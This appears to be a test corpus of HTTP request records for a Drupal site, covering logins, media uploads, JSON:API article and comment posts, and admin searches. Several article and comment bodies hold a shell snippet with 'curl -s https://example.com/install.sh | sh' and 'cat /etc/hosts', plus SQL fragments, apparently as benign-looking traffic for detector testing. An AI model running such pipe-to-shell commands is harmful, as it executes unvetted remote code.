name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU--\r\n"}
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_4.png.avif?itok=iF2vDKZ9", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/media/add/image", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMo0GuX6XENCyw7uS", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][alt]\"\r\n\r\nA powershell logo\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n16\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-dg7NXZ7td0XPIB6_GTT6JAprMPLoOBmXE6djXbPE4iI\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS--\r\n"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"python3-/etc/hosts-1\"}"}
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"SELECT a table: python3, ls -la and .htaccess\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\", \"summary\": \"Notes on python3 and powershell\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/d71c9e89-d9bd-4822-ba15-54bef9d26522", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\", \"attributes\": {\"title\": \"Edited: docker-compose.yml\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\"}}}}"}
{"method": "POST", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"comment--comment\", \"attributes\": {\"entity_type\": \"node\", \"field_name\": \"comment\", \"subject\": \"Python3 question\", \"comment_body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"basic_html\"}}, \"relationships\": {\"entity_id\": {\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\"}}}}}"}
{"method": "GET", "target": "/user/password?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2FExample%20notes&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=Example%20notes&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=Example+notes&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"Example notes\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=Example+notes&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=Example+notes&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-ExM1yju0J7E_BWsAPDga4ruGt4jNC4ZYZm2O6h3Hbgs&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-DsAWf9i7VTcgEpa_v2ezxxkRyrzx-e8Wydrq98CIpI0&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-r_rjIfS0iUft64xRiTbaT2lvCMr4ysWHJ-KnCvzaiNo&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+notes&body%5B0%5D%5Bvalue%5D=%3Cp%3EExample+notes%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-qHOBnxb51eUvXCKxKEbfbUtM6lzFgwT7itFH0f_FaPU&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+notes&body%5B0%5D%5Bvalue%5D=%3Cp%3EExample+notes%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-ABi6ln4cnnmfKcYRv2HvQFgXlHI5BTFDfMg-LwBU4aI&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-arO8ZdOSVcFdDqJoz7AJLALB_5Jlut5LXJSnVQmFK8w&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
